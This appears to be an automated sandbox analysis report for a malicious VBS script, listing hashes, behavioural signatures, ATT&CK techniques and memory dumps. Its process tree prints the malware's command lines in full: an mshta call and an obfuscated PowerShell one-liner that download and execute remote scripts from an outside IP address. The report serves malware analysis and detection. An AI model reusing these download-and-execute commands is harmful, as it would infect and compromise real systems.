7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2

General

Target

7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2.vbs
Size

6KB
MD5

74f58ac31a1f70bb4c704f31074882c0
SHA1

247ab701feff34cef747bf8e388b3639b8af9084
SHA256

7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2
SHA512

14e0e9a5f63e6b3807378a297146ba08ebdfbc73ff3ed27741761b22d53d3be59bcaa5ff2e06caa6d8d6f2e9d0f6fef9c530260d80fb61d50ea8ad904d990169

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msHta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 572 332 msHta.exe
Blocklisted process makes network request 1 IoCs

Processes:

msHta.exe

flow pid process

4 572 msHta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	572	332	msHta.exe

flow	pid	process
4	572	msHta.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

msHta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main msHta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

836 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 836 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	msHta.exe

pid	process
836	powershell.exe

description	pid	process
Token: SeDebugPrivilege	836	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

msHta.exe

description	pid	process	target process
PID 572 wrote to memory of 836	572	msHta.exe	powershell.exe
PID 572 wrote to memory of 836	572	msHta.exe	powershell.exe
PID 572 wrote to memory of 836	572	msHta.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2.vbs"
1⤵
PID:1408

C:\Windows\system32\msHta.exe
msHta.exe HttP://3.22.248.2/qw/EncGQE.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HQPIRTNLNVVNENVTOSFOQPX = '[\6$@5=3#6_&86}<!6#+@86y\6$@5=3#6_&86}<!6#+@86t^($+0)+*\]^26/7=-57)$8[#9@-!=-\{&9]2/5!995](.IO.\6$@5=3#6_&86}<!6#+@86t\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$[#9@-!=-\{&9]2/5!995](\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$d^($+0)+*\]^26/7=-57)$8\)6)6%-\+27-+}/$$$+)=)]'.Replace('\6$@5=3#6_&86}<!6#+@86','S').Replace('^($+0)+*\]^26/7=-57)$8','E').Replace('\)6)6%-\+27-+}/$$$+)=)','R').Replace('=4_14%)*6(=8+{&_%7{17$','A').Replace('[#9@-!=-\{&9]2/5!995](','M');$HRTEUQOOTFTZLQAZFWAURIJ = ($HQPIRTNLNVVNENVTOSFOQPX -Join '')|&('I'+'EX');$HZSOPPIHHQLRYYEQVBEDSUX = '[1$56\-<^}+$099--+0}#_/y1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#=#\%+0[^=2*8#}8($/-$/}m.N=#\%+0[^=2*8#}8($/-$/}}({+@((<0%\3==8$3+)0<#.W=#\%+0[^=2*8#}8($/-$/}bR=#\%+0[^=2*8#}8($/-$/}qu=#\%+0[^=2*8#}8($/-$/}1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#]'.Replace('1$56\-<^}+$099--+0}#_/','S').Replace('=#\%+0[^=2*8#}8($/-$/}','E').Replace('}({+@((<0%\3==8$3+)0<#','T');$HOHVKHWHGAYHFLLBDNQFERO = ($HZSOPPIHHQLRYYEQVBEDSUX -Join '')|&('I'+'EX');$HUXHSFRXTJGUNPZKBAKQKDB = '7-0=!*[88^$]!&^-<0=!40r+6^1809#8_[3#9!*7&%/(}a8&_{*!#&(*%\348!!*/}8{+6^1809#8_[3#9!*7&%/(}'.Replace('7-0=!*[88^$]!&^-<0=!40','C').Replace('+6^1809#8_[3#9!*7&%/(}','E').Replace('8&_{*!#&(*%\348!!*/}8{','T');$HDGSFNUEFWTDNIWVCKPZGAN = '1847$$37[6=[//!%=/1+29)^67!]6\<-*%^$_!]<%#=9tR)^67!]6\<-*%^$_!]<%#=97759<]}1}&=-))27371/7/pon7759<]}1}&=-))27371/7/)^67!]6\<-*%^$_!]<%#=9'.Replace('1847$$37[6=[//!%=/1+29','G').Replace(')^67!]6\<-*%^$_!]<%#=9','E').Replace('7759<]}1}&=-))27371/7/','S');$HPLQTYQUTWSSOTBNQTGWCJW = 'G=-{19_]8@-38\_}33$<}92t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2pon0^%\{#218_*!9/22]03/\2=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}92am'.Replace('0^%\{#218_*!9/22]03/\2','S').Replace('=-{19_]8@-38\_}33$<}92','E').Replace('60!3610=]928-+4{4@5<9{','R');$HIPJLQVQFSETDTUGXWWOVEN = '821#8{8)<4-+*%_7^[/_]}6_\4<00(_0{#202{{&^89/a^34)4\]92(]$[!%5}\0#$%To6_\4<00(_0{#202{{&^89/n^34)4\]92(]$[!%5}\0#$%'.Replace('821#8{8)<4-+*%_7^[/_]}','R').Replace('6_\4<00(_0{#202{{&^89/','E').Replace('^34)4\]92(]$[!%5}\0#$%','D');&('I'+'EX')($HRTEUQOOTFTZLQAZFWAURIJ::new($HOHVKHWHGAYHFLLBDNQFERO::$HUXHSFRXTJGUNPZKBAKQKDB('HttP://3.22.248.2/qw/Ps1HJ.txt').$HDGSFNUEFWTDNIWVCKPZGAN().$HPLQTYQUTWSSOTBNQTGWCJW()).$HIPJLQVQFSETDTUGXWWOVEN())
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/836-54-0x000007FEFBE91000-0x000007FEFBE93000-memory.dmp

Filesize
8KB

Download
memory/836-55-0x000007FEEF280000-0x000007FEEFDDD000-memory.dmp

Filesize
11.4MB

Download
memory/836-58-0x00000000026A2000-0x00000000026A4000-memory.dmp

Filesize
8KB

Download
memory/836-59-0x00000000026A4000-0x00000000026A7000-memory.dmp

Filesize
12KB

Download
memory/836-57-0x00000000026A0000-0x00000000026A2000-memory.dmp

Filesize
8KB

Download
memory/836-56-0x000007FEF42BE000-0x000007FEF42BF000-memory.dmp

Filesize
4KB

Download
memory/836-60-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/836-61-0x00000000026AB000-0x00000000026CA000-memory.dmp

Filesize
124KB

Download

Analysis

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